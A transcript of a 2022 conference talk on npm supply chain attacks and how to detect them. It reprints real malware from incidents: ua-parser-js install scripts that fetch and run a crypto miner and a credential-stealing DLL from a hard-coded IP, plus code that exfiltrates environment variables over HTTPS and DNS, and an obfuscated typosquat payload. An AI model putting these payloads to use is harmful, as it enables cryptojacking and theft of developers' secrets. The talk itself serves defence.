It's a Jungle Out There – What's Really Going on Inside Your Node_Modules Folder

Do you know what’s really going on in your node_modules folder? Software supply chain attacks have exploded over the past 12 months and they’re only accelerating in 2022 and beyond. We’ll dive into examples of recent supply chain attacks and what concrete steps you can take to protect your team from this emerging threat.

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Presented at Node Congress 2022 https://nodecongress.com

Transcript

1. It's a Jungle Out There! What's Really Going on Inside Your Node_Modules Folder
4. Let me tell you a story...
6. 10 years of steady work
7. 7,000,000 downloads per week 2,807,000 GitHub repos
8. Let me tell you a story...
9. Title: Acc development, 7kk installations per week Posted: October 5, 2021 I sell a development account on npmjs.com, more than 7 million installations every week, more than 1000 others are dependent on this. There is no 2FA on the account. Login and password access. The password is enough to change your email. Suitable for distributing installations, miners, creating a botnet Start $10k Step $1k Blitz $20k
10. Anatomy of a software supply chain attack • Started at Friday, October 22, 2021 at 12:15pm GMT • 3 malicious versions of ua-parser-js published • 0.7.29 • 0.8.0 • 1.0.0
11. { "title": "UAParser.js", "name": "ua-parser-js", "version": "0.7.29", "author": "Faisal Salman <f@faisalman.com> (http://faisalman.com)", "description": "Lightweight JavaScript-based user-agent string parser", "main": "src/ua-parser.js", "scripts": { "preinstall": "start /B node preinstall.js & node preinstall.js", "build": "uglifyjs src/ua-parser.js ...", "test": "jshint src/ua-parser.js && mocha -R nyan test/test.js", "test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js" } }
12. const { exec } = require("child_process"); function terminalLinux(){ exec("/bin/bash preinstall.sh", (error, stdout, stderr) => { if (error) { console.log(`error: ${error.message}`); return; } if (stderr) { console.log(`stderr: ${stderr}`); return; } console.log(`stdout: ${stdout}`); }); } var opsys = process.platform; if (opsys == "darwin") { opsys = "MacOS"; } else if (opsys == "win32" || opsys == "win64") { opsys = "Windows"; const { spawn } = require('child_process'); const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']); } else if (opsys == "linux") { opsys = "Linux"; terminalLinux(); }
13. IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ') if [ -z "$IP" ] then var=$(pgrep jsextension) if [ -z "$var" ] then curl http://159.148.186.228/download/jsextension -o jsextension if [ ! -f jsextension ] then wget http://159.148.186.228/download/jsextension -O jsextension fi chmod +x jsextension ./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null & fi fi
14. @echo off curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe if not exist jsextension.exe ( wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe ) if not exist jsextension.exe ( certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe ) curl https://citationsherbe.at/sdd.dll -o create.dll if not exist create.dll ( wget https://citationsherbe.at/sdd.dll -O create.dll ) if not exist create.dll ( certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll ) set exe_1=jsextension.exe set "count_1=0" >tasklist.temp ( tasklist /NH /FI "IMAGENAME eq %exe_1%" ) for /f %%x in (tasklist.temp) do ( if "%%x" EQU "%exe_1%" set /a count_1+=1 ) if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \ --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll) del tasklist.temp
15. Steals passwords from over 100 programs and the Windows credential manager
16. Aftermath
18. This is just the tip of the iceberg 700 packages removed for security reasons in the last 30 days
19. 2022 is the year of supply chain security
20. Why is this happening now?
21. We download code from the internet written by unknown individuals that we haven't read that we execute with full permissions on our laptops and servers where we keep our most important data
22. It's a miracle that this system works!
23. 1. 90% of your app's code comes from open source
25. 2. Lots of transitive dependencies
26. "Installing an average npm package introduces an implicit trust on 79 third-party packages and 39 maintainers, creating a surprisingly large attack surface1" 1 Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel
27. webpack, unpacked
28. 3. No one reads the code
30. "Given enough eyeballs, all bugs are shallow" — Linus Torvalds
31. But if everyone does that, who is finding the malware?
32. "On average, a malicious package is available for 209 days before being publicly reported2" 2 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier
33. "20% of these malware persist in package managers for over 400 days and have more than 1K downloads"3 3 Ruian Duan, Omar Alrawi, Ranjita Pai Kasturi, Ryan Elder, Brendan Saltaformaggio, Wenke Lee
34. 4. Popular tools give a false sense of security
35. Scanning for known vulnerabilities is not enough
36. Known Vulnerabilities • Accidentally introduced (usually by maintainer) • Sometimes okay to ship to production, if low impact Malware • Intentionally introduced (usually by attacker) • Never okay to ship to production
38. Developers need a new approach to detect and block malicious dependencies
39. How does a supply chain attack actually work?
40. We downloaded all of npm 100 GB of metadata 15 TB of package tarballs
41. Attack Vectors (how the attacker tricks you) 1. Typosquatting 2. Dependency confusion attacks 3. Hijacked packages Attack Tactics (what the attack code does) 1. Install scripts 2. Privileged API usage (network, filesystem, environment vars) 3. Obfuscated code
42. Attack Vectors How the attacker tricks you
43. 1. Typosquatting
44. noblox.js-proxied noblox.js-proxy
45. noblox.js-proxied (real) noblox.js-proxy (fake)
46. { "name": "noblox.js-proxy", "version": "1.0.5", "description": "A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)", "main": "lib/index.js", "types": "typings/index.d.ts", "scripts": { "docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs", "lint": "eslint lib/", "test": "jest", "postinstall": "node postinstall.js" }, "repository": { "type": "git", "url": "https://github.com/JxySerr1/noblox.js-proxy.git" } }
47. (function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf, _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3 (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30, _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2) {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f(); function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536) {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8, _0x1361be,_0x2b2b01,_0x2b71bd) {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807= -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a) +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc) +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273) *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69)) +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac) +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d) +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5) +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9); if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());} catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+ 0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc, _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);}
48. 2. Dependency confusion
49. • Yahoo • yahoo-react-input • yahoo-react-formsy-input • EURid (registry manager for EU) • eurid_cloudflare • 18F (US Federal agency) • 18f-dashboard • Palantir (government contractor) • eslint-config-dev-palantir • DuckDuckGo (search engine) • duckduckgo-styles • Shippo (shipping company) • shippo-frontend
50. • Wix (website builder) • wix-media-manager-backend • wix-marketing-backend • wix-events-backend • wix-chat-backend • Unity (game engine) • com.unity.ide.vscode • com.unity.package-manager-ui • com.unity.modules.ai • com.unity.modules.androidjni • GrubHub (food delivery) • @grubhubprod/umami-library • @grubhubprod/order-taking-client-sdk • @grubhubprod/mochi • @grubhubprod/chiri
51. 3. Hijacked packages
53. Packages get hijacked because • Maintainers choose weak passwords • Maintainers reuse passwords • Maintainers get malware on their laptops • npm doesn't enforce 2FA for all accounts • Maintainers give access to malicious actors
54. Attack Tactics What the attack code does
55. 1. Install scripts
56. Most malware is in install scripts
57. "Most malicious packages (56%) start their routines on installation, which might be due to poor handling of arbitrary code during install2" 2 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier
58. { "name": "<redacted>", "version": "9998.9999.2", "description": "...", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node dns.js | node index.js | node specific-fields.js" }, "files": ["specific-fields.js","index.js","dns.js"], "author": "", "license": "ISC" }
59. 2. Privileged API usage (network, filesystem, environment vars)
60. const http = require('https'); req = http.request({ host: '34.195.72.180', path: '/', method: 'POST', headers : { host : '411c316239cf14afaa1f37bbc5666207.m.pipedream.net', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) \ AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36' } }).on('error', function(err) { }); req.write(Buffer.from(JSON.stringify(process.env)).toString('base64')); req.end();
61. var { Resolver } = require('dns'); var zlib = require('zlib'); var resolver = new Resolver(); function splitString(string, size) { var re = new RegExp('.{1,' + size + '}', 'g'); return string.match(re); } resolver.setServers(["165.232.68.239"]); var d = process.env || {}; var data = redactedForBrevity() var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex'); var ch = splitString(encData, 60); var dt = Date.now(); for (var i = 0; i < ch.length; i++) { const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.'); resolver.resolve4(domain, function (err) { }); }
62. 3. Obfuscated code
63. (function(_0x249d1f,_0x2b8f5b){function _0x4c7bcc(_0xab39a4,_0x4f1570,_0x2f32bf, _0x4d98f7,_0x52a9ec){return _0x1efa(_0x52a9ec-0x379,_0x4d98f7);}function _0xfe08c3 (_0x3d9d3c,_0x4ae939,_0x217de2,_0x4278ef,_0x1a1bd1){return _0x1efa(_0x3d9d3c- -0x30, _0x217de2);}function _0x5dee13(_0x3bf95a,_0x410ef5,_0x6d0f61,_0x402705,_0x3daba2) {return _0x1efa(_0x410ef5- -0x6c,_0x3daba2);}const _0x40a390=_0x249d1f(); function _0x4ebfb2(_0x39433b,_0x180281,_0x29e008,_0x55bd13,_0x265536) {return _0x1efa(_0x180281-0x29c,_0x29e008);}function _0x1d9570(_0xcf31ba,_0x24a2a8, _0x1361be,_0x2b2b01,_0x2b71bd) {return _0x1efa(_0xcf31ba-0x357,_0x24a2a8);}while(!![]){try{const _0xe15807= -parseInt(_0x4ebfb2(0x718,0x638,'12Eh',0x6f0,0x6f6))/(0x1e27+-0x2ac+-0x1b7a) +parseInt(_0x4c7bcc(0x6d5,0x713,0x72c,'JXxJ',0x644))/(0x15*-0x16e+-0x19c4+0x37cc) +-parseInt(_0x4c7bcc(0x68d,0x788,0x86c,'JJ[O',0x754))/(-0x89e+0x2*-0x928+-0xb*-0x273) *(-parseInt(_0x4ebfb2(0x64f,0x62a,'$53b',0x530,0x55f))/(-0x2525+0x7c0+-0x1*-0x1d69)) +-parseInt(_0x4c7bcc(0x7d6,0x65e,0x7e5,'tOk*',0x729))/(0xc7d+0x7cc*-0x1+0x1*-0x4ac) +-parseInt(_0x4ebfb2(0x544,0x602,'!qJ9',0x565,0x6c2))/(-0x120e+0x1b1*-0x17+0x1f7*0x1d) +parseInt(_0xfe08c3(0x359,0x28a,'igej',0x404,0x3e9))/(0x163*-0x8+0x345+0x192*0x5) +-parseInt(_0x4ebfb2(0x40f,0x519,'!@70',0x4f5,0x5a2))/(0x1*-0x977+-0x15a+0xad9); if(_0xe15807===_0x2b8f5b)break;else _0x40a390['push'](_0x40a390['shift']());} catch(_0xdc6a7c){_0x40a390['push'](_0x40a390['shift']());}}}(_0x6450,-0x4f0c0+ 0x260b+0x29*0x4445));const _0x206d7b=(function(){function _0x2debc5(_0x482afc, _0x3fd1d9,_0x38f5d5,_0x18ac59,_0x17d73a){return _0x1efa(_0x18ac59- -0x3d1,_0x17d73a);}
64. Attackers publish different code to npm and GitHub
66. How you can protect your app?
68. 1. Choose better dependencies
69. If you ship code to production, you are responsible for it
70. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
71. How to pick a dependency • ✅ Gets the job done? • ✅ Has an open source license? • ✅ Has good docs? • ✅ Has lots of downloads and GitHub stars? • ✅ Has recent commits? • ✅ Has types? • ✅ Has tests?
76. Research packages on Socket socket.dev
77. 2. Update dependencies at the right cadence
82. Tradeoffs, no perfect solution
83. 3. Audit every dependency
89. The happy medium • Use automation to automatically evaluate all dependencies • Look for malware, hidden code, typo-squatting, etc. • Manually audit only the most suspicious packages • Provide security information directly in PRs
91. Install our GitHub app socket.dev
92. Socket GitHub App features • Block typosquats – Block malicious packages that differ in name by only a few characters, and recommend the correct package • Block malware – Block emerging malware threats • Detect hidden code – Detect obfuscated, minified, or hidden code • Detect privileged API usage – Detect usage of risky APIs – filesystem, network, child_process, environment variables, eval() • Detect suspicious updates – Detect updates that significantly change package behavior
94. Try it out at socket.dev
95. Free for open source, forever
96. Free for private repos, while in beta
97. Please share your feedback! feross@socket.dev twitter.com/feross Also, we're hiring!